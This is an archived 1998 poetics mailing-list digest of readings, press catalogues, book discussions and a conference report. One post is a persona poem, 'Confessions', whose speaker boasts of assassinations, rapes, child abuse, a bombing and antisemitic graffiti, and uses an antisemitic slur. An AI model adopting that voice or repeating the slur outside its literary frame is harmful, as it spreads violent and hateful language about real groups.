Various modern poetries, turning perhaps against the lyric, may not be approachable by such investigations as mine. That's fine by me: I like all exploration in poetics, philosophy and, no doubt, political viewpoint. I would merely note that every sonic element I look at occurs in ordinary conversation and prose as well as in poetry. And as far as I know, no poetry -- whether Chinese, Thai, Bengali, French, German, Sanskrit, or English even in its anti-lyric or randomesque forms -- can be free of the following factors: pitch, stress, duration, voicing, voice quality, loudness. Even if you say, "This poem is not for reading aloud", the mouth (it has been shown) will make those premonitory muscular movements as though you were about to read aloud. Perhaps you could demonically train your subconscious not to act that way: I don't know! Anyway, those sonic factors, plus meaning and emotional significance, are what I study.

I don't want to preoccupy listees as a whole with my obsessions. But if you were interested, I could send you photocopies of what these tunes look like. Just e-mail me an ordinary mail address. Within reason, that offer is also open to any other listees wanting to satisfy more than idle curiosity.

Best

Doug

↑ Index

526. david bromige

fraser/bromige sf reading//fractals of a devoted disorderer

Sat 17 Oct 1998

Listafarians, apologies for the late posting of this, a posting probably too late for you to cancel your garden parties, polo matches, or charity work tomorrow at 5:15 when Kathleen Fraser will address the mob at the Attic Club (or Bar or Pub?), just metres west of Mission on 24th St. I David Bromige will take up part of the program.

I regret the tardiness of this instigation. Its been one of those weeks. A fine one. What I need is a volunteer to help me with these items. Someone whose intelligence I surely cannot afford. Ah well. I wont say "*see* you there," because the Attic is a dark, dive bar where, it is rumored, there are those who still smoke therein, flouting California law in the transgressive spirit of Poetry, while remaining safely invisible. I envy them.

PS Do you notice how many DJs say "see you next week" on the air? "To see" bleeds, doesnt it? Are you "seeing" someone right now? See what I mean? D.

↑ Index

527. **A. Jenn Sondheim**

Confessions

Sat 17 Oct 1998

-

Confessions

I pulled the second trigger at the Kennedy assassination. It was me got Shorty. I violated those kids. Them heterosexuals were mutilated by me, the ones in Panama. I didn't know but I had the gun. And I gave Mrs. Kennedy cancer, the kind that killed her. I ran two against three at Belmont but skimmed off the bottom and got to win place. Got my semen on her fur but what was she doing on the IRT. I pulled the second trigger at the Martin Luther King assassination. Now I got your attention, you got to believe me. It was me who done Brinks. Maybe you don't think I'm serious. See, I'm dead serious. I wrote kike in Lewiston on the school ground there. It makes a difference with a kid. You can look a kid in the eye. Kids are honest. Did some swastikas too. But I set the explosives in the truck. I don't need to explicate, you know what truck I mean. Look, I don't have anything personal against them. But I don't need to eh. Was me raped that tourist in Orlando, she looked at me funny. I don't get orders I give them. I got no truck with punks. They'd set deadeye on you without thinking but no control. Like that time in Larrabee, one of them's still looking for his mama, other don't say nothin or maybe can't. You can't tell cause I look just like you. Maybe a kid can tell. Maybe a kid is dead.

↑ Index

528. Gabriel Gudding
Plath-Hughes Legacy
Sat 17 Oct 1998

Last Saturday's _Irish Times_ has it that Frieda Hughes, daughter of T & S, will publish her first book of poetry in the near future. Her publisher is Bloodaxe. Her work has appeared recently in a Faber anthology.

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529. Franklin Bruno
burns (and other things)
Sat 17 Oct 1998

Gary Sullivan wrote:

> *Which all leads me to this question: I got a backchannel from William Sylvester about Gerald Burns (Bill wrote on him for the last _House Organ_) and I'm wondering, does anyone else out there read Burns? And does anyone know the fate of The Myth of Accidence? Did he ever finish the 12th book? Did he ever name the 11th? Are there plans to publish it? If you _don't_ read him is it cuz he was, okay, kind of a "difficult" personality? Or cuz you think his writing sucks? Or, like, what?*

I don't have any answers to the above questions, but I'll pipe up as a reader. I find Burns' writing (I don't know anything about his personality) difficult, in the best sense of that word, and better in small doses (a few poems at a time from -Shorter Poems-, for example). I particularly take to heart his complaint in -A Thing About Language- that many of the language poets rarely use a noun that can't be found in -People- magazine. His own work is of course full of such nouns; there's an observational (even phenomenological) closeless to much of his poetry that I value, even when I don't know quite what it adds up to. I don't know what to make of his claims that his poems were written in complicated weighted metrics; I can't read any such thing out of the poems, but, hey, I don't really understand the variable foot either.

Odd note--he was quoted, a few mos. before his death, in either -Time- or -Newsweek- as thinking, when he read the -Unibomber Manifesto- in the paper, that its Kantian strains sounded a lot like his old Harvard classmate Ted Kozinski (sp?).

I too would be interested in hearing about any plans to publish Burns' work posthumously.

Oh, while I'm here, could someone tell me how to get in touch (by phone or e-mail) w/ Coffee House Press? Backchannel fine.

Oh, oh: Anyone read the David Lehman book on JA/FOH/KK/JS?

fjb

↑ Index

530. Bob Grumman
Re: burns (and other things)
Sun 18 Oct 1998

I dip into Burns every once in a while, and think he's A-1. I recently read William Sylvester's piece on Burns's *Freud and Picasso* (or vice-versa) in *House Organ* and found it absorbing reading. Will be mentioning it, briefly, in my next column for *Small Press Review*. As for the Lehman book about what Lehman with incredible fatuousness titles *The Last Avant- Garde*, I haven't read it but HAVE read a review of it in *The New Criterion* by John Simon, the only widely-published poetry critic in this country more obtuse and behind-the-times than Lehman. Quite a laugh.

--Bob G.

↑ Index

531. miekal and
fwd from nettime announcer
Sun 18 Oct 1998

[notice that they are trying to make an online compilations of small presses]

From: Trace <[redacted]>
Subject: A New trAce Website and a New trAce Community
Date: Wed, 14 Oct 1998 15:25:05 +0100

The trAce site has been enlarged and redesigned, and our online community is now open. Take a look at http://trace.ntu.ac.uk or check out the following special pages:

The new trAce Community is now open.
http://trace.ntu.ac.uk/portal2.htm

Just a few days before the first anniversary of the opening of the trAce Mailbase list we are pleased to announce our new Online Community. Now, instead of a single conversation, we offer a variety of online conferences plus your own homepage and a host of other features. There are four conferences with more to be added as time goes on. We invite you to join and participate in the new expanded community where there is room for every point of view.

Map added to Noon Quilt http://trace.ntu.ac.uk/quilt/map/index.html There is now a Noon Quilt Map showing the locations of all contributions. After two weeks online and contributions from 18 countries the Quilt is almost full.

Interest has been intense and submissions are still coming in steadily from everywhere. It closes on 23rd October so there is still time to contribute, but will we be forced to stitch another to fit everyone in? Decisions must be made!

Calling Small Presses

trAce is putting together a list of small presses from around the world. If you would like to be featured as part of this resource list, contact Carolyn Bamborough ([redacted]). We will link to your url, or create a basic page of information for you to display online.

Writers & the Internet Conference 16 October 1998
http://trace.ntu.ac.uk/eastm/conf.htm Just a few days left until the first trAce Day Conference featuring an international line-up of guests including Dale Spender and Mark Amerika. The conference takes place on Friday 16 October 1998 at the Broadway Media Centre, Nottingham, England.

>trAce international online writing community
>http://trace.ntu.ac.uk [redacted]
>Faculty of Humanities, Nottingham Trent University, Clifton Lane,
>Nottingham NG11 8NS UK
>phone: ++ 44 (0)[redacted] fax: ++ 44 (0)[redacted]

↑ Index

532. **schuchat**
Lehman & the last avant garde
Sun 18 Oct 1998

I thought Lehman's book was pretty good for what it was meant to be, and should help to introduce those writers to a broader audience. I know some people don't believe that is a noble goal, and I agree that its alright if someone doesn't want to read poetry. But I also like to share or propagandize on behalf of art & literature & music (and food and travel and other pleasures of peace) that I have enjoyed, so I think its worth trying. It's a great book for a high school senior or college freshman interested in poetry.

Does anyone object to Lehman's reading of the the poems or poets? I suppose someone might object to his downplaying of O'Hara's sexuality (in an attempt to rebalance after the Gooch biography), but of course O'Hara's poetry has delighted plenty of non-homosexuals.

Lehman emphasizes the pleasure that the NY school poets found and took in writing and reading and in art and in life, and, being old fashioned, I think those are good things.

Is it possible that someone on the list will disagree with me?

↑ Index

533. **Susan Wheeler**
Re: Tony Lopez reading in Maryland
Sun 18 Oct 1998

And for those of you in New York, mark your calendars: Tony will be reading at The New School for Social Research Monday, October 26, at 6:30 p.m. -- 66 West 12th Street, 5th floor. A don't-miss!

>Announcing a reading -- HIGHLY RECOMMENDED:
>
>
>TONY LOPEZ
>reading October 19, Monday, at 2pm
>Rockville, Maryland
>
>Tony Lopez was born in 1950 and grew up in Brixton, South London. He began
>working as a freelance on short stories for newspapers and magazines in the
>1970s and published five crime and science fiction novels with New English
>Library between 1973 and 1976, when he gave up fiction writing and returned to
>school. He attended the University of Essex (BA 1980) and Gonville & Caius
>College, University of Cambridge (PhD 1986). During the 1980s he was involved
>in various performance art events, staged in Britain and Europe. He has
>published many books and pamphlets of poetry, including Snapshots (1976),
>Change (1977), The English Disease (1979), A Handful of British Birds (1982),
>Abstract & Delicious (1983), A Theory of Surplus Labour (1990), Stress
>Management (1994), and most recently Negative Equity and Other Poems (1995).
>A selection of his poetry is included in the Picador anthology Conductors of
>Chaos (1996) edited by Iain Sinclair. He teaches in England at the University
>of Plymouth.
>
>from the poem "Non-Core Assets"
>
>They took a shadow and laid it in the straw.
>Let it be rough and ready to make a reality
>Deft, restless and unpredictable. Thus they rode
>Through Norwich in every sort of fantastic dress.

>Reason explained that good living was now over,
>Time itself at hand. Lights, lanterns and fires
>Burning in the woods. Damp air, shell-suit trousers,
>Light blue sweatshirt, green padded jacket: the subject
>Of this attack unknown. If you have no wire,
>Roll newspapers into spirals, tie the ends together
>In white cloth and herring skins. Thence souls in torment
>Who do enter into these family customs
>In schools, clubs, or any organisation.
>Among the straw cut-out is something of the truth.
>
>They are like straight unwinding roads that lead
>Into eternity. When we launch a car
>We like to drop it. Root nourishing shampoo:
>Dolphins ascending a water staircase.
>Big coat and grip, gondola wedding,
>Big coat and away through Lombardy poplars.
>I find we have plenty of opportunities
>For listening to speech, yet few people take them:
>We need practical ways of securing resonance.
>Urizen is at home on the world wide web
>Sending pulses of self-indulgent grief echo
>To measure your file space without hiring new staff.
>A stretched limo floats over a crimson sunset
>I never knew he missed driving so much.
>
>charles alexander :: poet and book artist :: [redacted]
>chax press :: alexander writing/design/publishing
>books by artists' hands :: web sites built with care and vision
>http://alexwritdespub.com/chax :: http://alexwritdespub.com
>
>
Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

534. David Baratier
Re: Laura (Riding) Jackson
Sun 18 Oct 1998

Elizabeth, as lisa says "she didn't denounce so much as renounce poetry, as people have pointed out in various articles. but she did not repudiate her old work. " She does not regret her own work but rather acknowledges the inherent flaws in poetry itself. In the back of collected poems there is an interview with her which clarifies the matter. I would not consider the time she spent writing poetry to be a particularly long time expecially by comparision to the nearly 50 years she spent mounting her opposition.

Be well

David Baratier

↑ Index

535. David Baratier
bloody twin press
Sun 18 Oct 1998

Pavement Saw Press is proud to announce they will now be the US distributor for Bloody Twin Press

Each of the books listed below are letterpress limited editions, and are handbound as the orders are received to ensure the freshness of the title. The special price listed is for members of the poetics list & should be mentioned when ordering. If there are questions regarding specific papers used (handmade and/or imported), cover artists and the like, feel free to backchannel me.

Boxed broadside set, all oversized & frameable includes Tom Clark, Ed Dorn, Joel Lipman, Howard McCord, Nick Muska, Brian Richards, and Joe Sheffler, $50

Theodore Enslin, Music in the Key of C, 32pp ,$15
Tom Clark, Apocalyptic Talkshow, 24pp, $15
Anne Waldman, Tell me about it: Poems for painters, 24pp, $15
  Cover drawing by George Schneeman
Steve Kowit, Pranks, 24pp, $12
Howard McCord, The Duke of Chemical Birds, 32pp, $15
Christy Sheffield Sanford, Bride Thrashing Through History, 24pp. $12
Christy Sheffield Sanford, The H's: Spasms of a requiem, 24pp. $12
Skip Fox, Wallet, 24pp, $20
Skip Fox, Kabul Under Seige, 32pp, $30
Carl Thayler, The Drivers (2nd Series), 24pp. $10
Brian Richards, Early Elegies, 30pp, $15

Earl Butler, Zero Bonding, 32pp, $50
David Canalos, Mad National Geogery, 40pp, $25
Joel Lipman, Provacateur, 24pp. $12
Gogisigi / Carroll Arnett, Spells, 28pp. $15
Lynne Walker, Big Red Burns, 24pp. $20
Joe Sheffler, Dirty Dogs: Poems out of Asia, 48pp. $50

As the titles run scarce the price will rise.
US orders enclose $2, Canada $3, others $4. All checks payable to Bloody Twin Press.

Pavement Saw Press
PO Box 6192
Columbus OH 43206

Be well

David Baratier

↑ Index

536. **David Baratier**
Detail from Wallet
Sun 18 Oct 1998

Pavement Saw Press is proud to announce a new title from Bloody Twin Press
Skip Fox's, Wallet, 24pp, $20. A serial piece, sample below.

and Spicer's radio. Deep space. "The Primitive does not

reveal the radical (though he may resemble it). How many
words does the eskimo have for snow? Whence the cold
beneath the wind? Ganik, the ghost within the storm, and aput,
ghost on the ground. (Or would it depend on the eskimo?) And why
the desire for 17? They are as they are. And we as we. Believing
man might inhabit the land, not merely live on or off it. Dwell
therein. As in ear or mind. Attentive to the purely
possible. (How many do you have for ghost?) As though
you could tune into a tern as it oils its wings. Or a word that
rises from the root. The bodiless serpent climbs into the most desolate

regions of the sky. Flaches above the raw flesh eater on
his floe. It casts an eerie correspondence on the notion of what
is--where
resemblance disappears into identity, spirit into newly fallen snow.

Includes pieces which first appeared in House Organ, lower limit speech, New Orleans Review, and Oasii Broadside series

125 copies, letter press edition, handbound, two color pressing, cover paper imported from france & handmade. The price is $20 to folks who mention this posting. As the titles run scarce the price will rise. Also available by Skip Fox, Kabul Under Seige, 32pp, $30

US orders enclose $2, Canada $3, others $4. All checks payable to Bloody

Twin Press.

Mail to:
Pavement Saw Press
PO Box 6192
Columbus OH 43206

Be well

David Baratier

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537. **Bob Grumman**
Re: Lehman & the last avant garde
Sun 18 Oct 1998

For what it's worth, I expect to enjoy the Lehman book on the New York school poets--as I enjoyed the Gooch book on O'Hara. The problem with books like Lehman's, and with his "Best Poems" anthologies, is not that they are particularly stupid but that they ignore so much that is far better than what they are about or contain. Why write about four mediocrities who were tepidly "experimental" in the manners of Eliot and Williams (paraphraxis and super-demotic diction) some FORTY years or so ago when there are SEVERAL REAL avant-gardes going on in poetry RIGHT NOW that could use a book about them?

--Bob G.

↑ Index

538. **Todd Baron /*/ ReMap**
whitman got fired too
Sun 18 Oct 1998

today's New York Times Book Review has a wonderful endpaper on WHitman and Washington scandals.

todd baron
(remap)

↑ Index

539. Hilton Manfred Obenzinger
Re: whitman got fired too
Sun 18 Oct 1998

Berman's piece was a pleasure, but a limited one. Information and analysis were all derived from David Reynold's "Walt Whiteman's America," a fine historicizing (though, in terms of poetry, only narrowly interpreted) cultural biography of the all-time champ. Berman's piece could have used a little tip of the hat to its source -- it smacked too much of book report or a hash job (as if no one would notice). Still, it was good to see it -- and the fact that such an outrageous poet remains the national poet (as Clinton would testify) is a wonderful, comforting thought. However, in terms of both Reynold and Berman, I would still like to see more about the poems themselves, particularly the still-radical and disturbing democratic/totalitarian eruption of the 1855 edition.

Hilton Obenzinger

On Sun, 18 Oct 1998, Todd Baron /*/ ReMap wrote:

> *today's New York Times Book Review has a wonderful endpaper on WHitman and Washington scandals.*
>
> *todd baron*
> *(remap)*

↑ Index

540. David Baratier
Tom Bridwell
Sun 18 Oct 1998

Been absent for a few days. Wanted to report on a reading I was at in Portsmouth Ohio at Teeny's, third thursday of each month. The main reader was Tom Bridwell who read ten pieces from a new book_Notes from the Cistern_. No publisher yet. The book is a massive serial work, 110 pages (after 56 were discarded), incredibly dense material written in a six month period holed up in Virginia. Reoccuring themes of construction, food, Beckett, drinking, eating, drugs, roadkills, Wittgenstein, Levi-Strauss, a human joint maker, sex, texts, properly prepared roadkills, building a building, surfaces, mixes thereof and dozens of others done primarily in prose with a scarcity of poems interspersing. I can't find small areas to quote that I am satified with but here goes:

"Lay the knots open. Tension keeps the cords taut, the ends fall away soon enough. Sense is seldom unveiled. Were She standing before you, naked, the

lateness of the hour or some things pressing would preclude the sight. It bears repeating."

"I've signed away everything that was mine. I'm as uncomfortable as I can be. But I do, by god, twitch. If this is a test, for those of you with your notebooks, be clear about that: he did twitch. " His intensity frightened the hell out of two tables of old ladies near the front. Hell, his reading scared everyone there which is amazing considering that, except for a few minor exceptions, it was lacking emotional changes in timber and tone.

Not including the folks who had to listen out in the street, the audience inside was counted at 67 including Joe Napora, Bob Fox, Darren Baker, Ralph LaCharity, Brian Richards and myself.

Non-featured readers included Ralph LaCharity who bears similarities to Chuck Stein but it's a lot more phonetically complicated. He is a phenomenal reader & has this set of pieces where he says "I am going to do a poem and if I do it correctly you will hear TWO languages at the same time. The first will be a vernacular of English from south California. The second you will hear is modern Greek." Then he pulls it off. Its amazing. Heads up Boston folks he is hitting all the open mike readings out there starting the 24th of this month.

I read a few and was amazed at how the waitstaff was chastizing patrons for not being silent during the readings, especially when Ralph was reading.

Brian Richards ended the reading with a phenomenal piece, _Talking at Teeny's_ I loved the lines "What may be said is a piton in the face / of Mount Nonsense, part of a specific problem" and ends with:

Do you like sports? Then be one. Buy me a drink.
Buy everyone a drink; the hostess needs the business.
Give her the business. Give us all time to think
about it over a fresh one: cool.

And the merriment went long into the night after and after, got home saturday.

Be well

David Baratier

↑ Index

541. Todd Baron /*/ ReMap

Re: whitman got fired too

Mon 19 Oct 1998

Hilton Manfred Obenzinger wrote:
>
> Berman's piece was a pleasure, but a limited one. Information and

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>
> Hilton Obenzinger
>
> On Sun, 18 Oct 1998, Todd Baron /*/ ReMap wrote:
>
> > today's New York Times Book Review has a wonderful endpaper
> > on WHitman and Washington scandals.
> >
> > todd baron
> > (remap)
> >

for more on the poems
see DH LAWRENCE

definitely NOT
a newspaper article on the pres.!

↑ Index

542. **David Kellogg**
Re: Plath-Hughes Legacy
Mon 19 Oct 1998

On Sat, 17 Oct 1998, Gabriel Gudding wrote:

> *Last Saturday's _Irish Times_ has it that Frieda Hughes, daughter of T & S, will publish her first book of poetry in the near future. Her publisher is Bloodaxe. Her work has appeared recently in a Faber anthology.*

I saw the American version in a bookstore on Friday. The title is one word, begins with a W., very Hughesian. Published in the States, I think, by FSG.

Cheers,
David
~~~
~~~

~~~~~~~~~~~~~~~~~~~

David Kellogg Duke University
[redacted] Program in Writing and Rhetoric
[redacted] Durham, NC 27708
FAX [redacted] http://www.duke.edu/~kellogg/

↑ Index

543. David Baratier
Bloody Twin Press
Mon 19 Oct 1998

I listed the PO box wrong: its 6291

Pavement Saw Press
PO Box 6291
Columbus OH 43206

Be well

David Baratier

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544. ken|n|ing
coolidge/hejinian/rova/soule
Mon 19 Oct 1998

As promised, a report of sorts on the conference here at the University of Iowa last week, on Composition & Improvisation, featuring Lyn Hejinian, Clark Coolidge, Rova Saxophone Qrt., and painter Tom Soule. I had the pleasure of meeting other list members who'd made the trip to attend some of the events & it's my hope that they will add to this "report" -- substantiate it . . . The first conference consisted of poets, with poetry workshop students mostly in attendance. Coolidge recounted some anecdotes re: the improvisatory nature of the NYSchool scene of which he was part, saying it was considered polite to edit and/or amend the work (inevitably) in progress laying out or sitting in the typewriter at parties. Making reference, obviously, to the emphasis on process over product, and citing the term "work" as preferred over "poem", &tc. He read, at the request of Marvin Bell, work from _The Rova Improvisations_
Lyn Hejinian asserted from the offset, improvisation as "entirely in the medium of referral," "in time," and for her purposes always with reference to the page (prior works/the other...). When improvising one seeks resistence, one "volunteers to doubt", one engages correspondence -- Jorie Graham asked how this is different than the work "we" do everyday, Hejinian responding, with something to the effect of, responding to Hopkins, say, is not improv. by virtue that
~~~~~~~~~~~~~~~~~~~

Hopkins safely has no response, himself. This led to discussion of improvisatory strategies, which Rova picked up on the next day. Using the example of a new work-in-progress entitled "Radar", the four Rovas discussed the hand signals or cues that compose the piece. That is, hand signals (which any one of the band members may offer up at any time) represent improvisatory strategies which they have titled accordingly, "micro-tonal groan", "machine sounds", "the wave" [this one just like the auditorium game, in their case passing a riff along to the edge of the horseshoe/mixing that up/sending it back] . . . Thus, the Rovas perform a "Radar", will one day record some "Radars" -- indeed, their encore at the concert Friday night consisted of two "Radars" Coolidge and Hejinain read Thursday night. Hejinian began with a long (specially edited version) of "A Border Comedy" -- a piece she had earlier explained arose out of improvisatory experiments conducted with the poet Jack Collum (sp?). W/ "A Border Comedy", she used forgetfulness as a correspondent, writing several lines, setting aside, later adding more lines; she improvised with herself. Coolidge read many shorter pieces, highly comical["poets go ape shit when they see themselves coming"], employing neologistic verbs that inevitably gave the impression that someone was whispering to you while chewing on potatoes chips, and you were to gather what you could . . . what could a term such as "rurtch" mean? Besides Baraka, these are two of the best readers I have come across. Unfortunately, I missed Tom Soule's presentation on 20th Cent.. Painting Aspiring to Music . . . anyone there for this? The gist of the rest of the proceedings, however, was in the perhaps impossible task of delineating between composition and improvisation. Patrick F. Durgin

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k e n n i n g``````````````|``````````````````````````
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

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545. **Christopher Reiner**

Paris Reading

Mon 19 Oct 1998

If anyone is going to be in Paris in the next few weeks, you might want to check out this reading:

Keith Waldrop, Cydney Chadwick, Rosmarie Waldrop at the Village Voice Bookstore (an English language bookstore). Tuesday, November 3rd, 7 p.m. 6 rue Princesse, 75006, tel. 33 1 46.33.36.47. Metro: St. Surplice.

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546. **Elizabeth Treadwell**

LAURA's WORD "WOMAN" -- & hey, does it correspond.

Mon 19 Oct 1998

OK, OK, I'm simply playing the role of questioner, having only read 3 of her books and only dipped into the Progress of, and not used to being a lecturer but a lecturee. I am wondering if the person(s) who mentioned THE WORD WOMAN could please say more about it. Then maybe I'll try my hand.

with a fake fur faux pas,
Elizabeth

> *Subject: Re: Laura (Riding) Jackson*
>
> *Elizabeth, as lisa says "she didn't denounce so much as renounce poetry, as people have pointed out in various articles. but she did not repudiate her old work. " She does not regret her own work but rather acknowledges the inherent flaws in poetry itself. In the back of collected poems there is an interview with her which clarifies the matter. I would not consider the time she spent writing poetry to be a particularly long time expecially by comparision to the nearly 50 years she spent mounting her opposition.*
>
> *Be well*
>
> *David Baratier*
>
> *----------*
>
> *Date: Sun, 18 Oct 1998 14:11:30 +0000*
> *From: David Baratier <[redacted]>*
> *Subject: bloody twin press*
>
> *Pavement Saw Press is proud to announce they will now be the US distributor for Bloody Twin Press*
>
> *Each of the books listed below are letterpress limited editions, and are handbound as the orders are received to ensure the freshness of the title. The special price listed is for members of the poetics list & should be mentioned when ordering. If there are questions regarding specific papers used (handmade and/ or imported), cover artists and the like, feel free to backchannel me.*
>
> *Boxed broadside set, all oversized & frameable includes Tom Clark, Ed Dorn, Joel Lipman, Howard McCord, Nick Muska, Brian Richards, and Joe Sheffler, $50*
>
> *Theodore Enslin, Music in the Key of C, 32pp ,$15*

Tom Clark, Apocalyptic Talkshow, 24pp, $15
Anne Waldman, Tell me about it: Poems for painters, 24pp, $15
Cover drawing by George Schneeman
Steve Kowit, Pranks, 24pp, $12
Howard McCord, The Duke of Chemical Birds, 32pp, $15
Christy Sheffield Sanford, Bride Thrashing Through History, 24pp. $12
Christy Sheffield Sanford, The H's: Spasms of a requiem, 24pp. $12
Skip Fox, Wallet, 24pp, $20
Skip Fox, Kabul Under Seige, 32pp, $30
Carl Thayler, The Drivers (2nd Series), 24pp. $10
Brian Richards, Early Elegies, 30pp, $15
Earl Butler, Zero Bonding, 32pp, $50
David Canalos, Mad National Geogery, 40pp, $25
Joel Lipman, Provacateur, 24pp. $12
Gogisigi / Carroll Arnett, Spells, 28pp. $15
Lynne Walker, Big Red Burns, 24pp. $20
Joe Sheffler, Dirty Dogs: Poems out of Asia, 48pp. $50

As the titles run scarce the price will rise.
US orders enclose $2, Canada $3, others $4. All checks payable to Bloody Twin Press.

Pavement Saw Press
PO Box 6192
Columbus OH 43206

Be well

David Baratier

Date: Sun, 18 Oct 1998 14:46:12 +0000
From: David Baratier <[redacted]>
Subject: Detail from Wallet

Pavement Saw Press is proud to announce a new title from Bloody Twin Press
Skip Fox's, Wallet, 24pp, $20. A serial piece, sample below.

and Spicer's radio. Deep space. "The Primitive does not

reveal the radical (though he may resemble it). How many
words does the eskimo have for snow? Whence the cold
beneath the wind? Ganik, the ghost within the storm, and aput,
ghost on the ground. (Or would it depend on the eskimo?) And why

the desire for 17? They are as they are. And we as we. Believing
man might inhabit the land, not merely live on or off it. Dwell
therein. As in ear or mind. Attentive to the purely
possible. (How many do you have for ghost?) As though
you could tune into a tern as it oils its wings. Or a word that
rises from the root. The bodiless serpent climbs into the most desolate

regions of the sky. Flaches above the raw flesh eater on
his floe. It casts an eerie correspondence on the notion of what
is--where
resemblance disappears into identity, spirit into newly fallen snow.

Includes pieces which first appeared in House Organ, lower limit speech,
New Orleans Review, and Oasii Broadside series

125 copies, letter press edition, handbound, two color pressing, cover
paper imported from france & handmade. The price is $20 to folks who
mention this posting. As the titles run scarce the price will rise. Also
available by Skip Fox, Kabul Under Seige, 32pp, $30

US orders enclose $2, Canada $3, others $4. All checks payable to Bloody

Twin Press.

Mail to:
Pavement Saw Press
PO Box 6192
Columbus OH 43206

Be well

David Baratier

Date: Sun, 18 Oct 1998 16:58:50 -0700
From: Hilton Manfred Obenzinger <[redacted]>
Subject: Re: whitman got fired too

Berman's piece was a pleasure, but a limited one. Information and
analysis were all derived from David Reynold's "Walt Whiteman's America,"
a fine historicizing (though, in terms of poetry, only narrowly
interpreted) cultural biography of the all-time champ. Berman's piece
could have used a little tip of the hat to its source -- it smacked too
much of book report or a hash job (as if no one would notice). Still, it
was good to see it -- and the fact that such an outrageous poet remains
the national poet (as Clinton would testify) is a wonderful, comforting

thought. However, in terms of both Reynold and Berman, I would still like to see more about the poems themselves, particularly the still-radical and disturbing democratic/totalitarian eruption of the 1855 edition.

Hilton Obenzinger

On Sun, 18 Oct 1998, Todd Baron // ReMap wrote:*

today's New York Times Book Review has a wonderful endpaper on WHitman and Washington scandals.

todd baron
(remap)

Date: Mon, 19 Oct 1998 06:21:38 +0000
From: Todd Baron // ReMap <[redacted]>*
Subject: Re: whitman got fired too

Hilton Manfred Obenzinger wrote:

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Hilton Obenzinger

On Sun, 18 Oct 1998, Todd Baron // ReMap wrote:*

today's New York Times Book Review has a wonderful endpaper on WHitman and Washington scandals.

todd baron
(remap)

for more on the poems
see DH LAWRENCE

> *definitely NOT*
> *a newspaper article on the pres.!*
>
> ---
>
> *End of POETICS Digest - 17 Oct 1998 to 18 Oct 1998 (#1998-97)*
> **********

Outlet, a periodical
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709
U.S.A.
http://users.lanminds.com/~dblelucy

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547. **Elizabeth Treadwell**
and a MAJOR faux pas
Mon 19 Oct 1998

excuse me ever so for not erasing all the long list in my response!! it is my pet peeve when people even attach the single note to which they are responding

and here i am guilty beyond the pale

a thousand eyelashes blushing,
Elizabeth

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Berkeley, California 94709
U.S.A.
http://users.lanminds.com/~dblelucy

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548. **Pierre Joris**
Re: Paris Reading
Mon 19 Oct 1998

Christopher Reiner wrote:

> *If anyone is going to be in Paris in the next few weeks, you might want to check out this reading:*

> *Keith Waldrop, Cydney Chadwick, Rosmarie Waldrop at the Village Voice Bookstore (an English language bookstore). Tuesday, November 3rd, 7 p.m. 6 rue Princesse, 75006, tel. 33 1 46.33.36.47. Metro: St. Surplice.*

Well, it will be a great week in Paris -- 'cause if you're there that first week in November, you can also catch a retrospective of Stan Brakhage's films at the Centre Pompidou (monday tuesday & wednesday night), plus, in the context of the Brakhage week, on thursday night at 7:30 in the Auditorium Colbert (Bibliothèque Nationale) 2 rue Vivienne a reading with:

Robert Creeley, Robert Kelly, Kenneth Irby & Michael McClure,
with their translators: Jean Daive, Serge Fauchereau, Pierre Joris.

and on Friday ay 7:30pm a conference/roundtable:

"Poétique et art de la vision "

with :
Paolo Bertetto, Jean Michel Bouhours, Robert Creeley, Robert Kelly, Michael McClure, P.-Adams Sitney.
Presentateur/moderator:
Pierre Joris

For further details check out the following url:

http://www.centrepompidou.fr/actualites/f2-conference.htm#littérature

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
All that is not gas is grammar
— Wittgenstein
==========

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549. **David Baratier**

PNY / MEB

Mon 19 Oct 1998

Here's the pny pamphlet series for the next year:

1/ Mark Wallace My Christmas Poem (available)

2/ Theodore Enslin Conversations (available)

3/ Laura Moriarty Spicer's City (available)

4/ Peter O'Leary Midas (available)

5/ David Baratier A Run of Letters (available nov.)

6/ Jane Augustine French Windows (available Nov.)

7/ Tod Thilleman 1988: An Artist's Diary (available dec.)

8/ Michael Stephens Going Thoreau (available dec.)

9/ Charles Borkhuis Dinner with Franz (available jan.)

10/ Peggy Garrison Ding The Bell (available dec.)

11/ Stephen Ellis White Gravity (available dec.)

12/ Keith Waldrop Two-Part Invention (available jan.)

13/ Cid Corman Nothing doing (available feb.)

14/ Joseph Donahue Terra Lucida X-X11

15/ 1998 contest winner Catherine Mellet Sat. aft. in my kitchen

All of these are perfect bound 16 to 40 pages each. The Laura Moriarty, Mark Wallace, and Steve Ellis titles alone make it well worth paying for two subscriptions.
Price is 6 for $20 or $4 each.
All requests should be e-mailed (not backchanneled here) to:

mailto:[redacted]

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550. **Alaric Sumner**

I wish I was in Northern California in OTHERMINDS (concert info FWD)

Mon 19 Oct 1998

Just a reminder to those of you in the Northern California area:

Other Minds opens its 5th anniversary season this coming week with concerts on Wednesday and Thursday, Oct 21 and 22, of the Bang on a Can All-Stars in

their first-ever Northern California appearance. This remarkable 6-member ensemble is profiled on our Web site at http://www.otherminds.org.

I hope you will join us for an enjoyable two evenings and support this effort of Other Minds with your ticket purchases. Please plan to attend both evenings if possible. They will be quite different in the first half, with Brian Eno's 40-min. Music for Airports comprising the entire second half both nights, giving you a chance to memorize the piece or simply orbit inside it.

# # #

Other Minds, in association with the Yerba Buena Center for the Arts, presents The Bang on a Can All-Stars at the Yerba Buena Center for the Arts Theatre, San Francisco for tickets: (415) 978-ARTS, 11am-6pm Pacific Standard Time, or BASS Ticket Outlets $26.00/$22.00 students/seniors

Program #1 Weds Oct 21: 8:00pm
pre-concert talk with composers Pamela Z, Julia Wolfe and David Lang, hosted by Charles Amirkhanian: 7:00pm

David Lang: Cheating, Lying, Stealing (1996)
Michael Gordon: X/Y (1996)
Pamela Z: The Schmetterling (1998)

---intermission---

Brian Eno: Music for Airports (1978)
    Music for Airports 1/1, arranged by Michael Gordon
    Music for Airports 2/1, arranged by David Lang
    Music for Airports, 1/2, arranged by Julia Wolfe
    Music for Airports, 2/2, arranged by Evan Ziporyn

Program #2 Thurs Oct 22, 1998: 8:00pm
pre-concert talk with composers Dan Plonsey, Evan Ziporyn, Julia Wolfe and David Lang, hosted by Charles Amirkhanian: 7:00 pm

Julia Wolfe: Lick (1994)
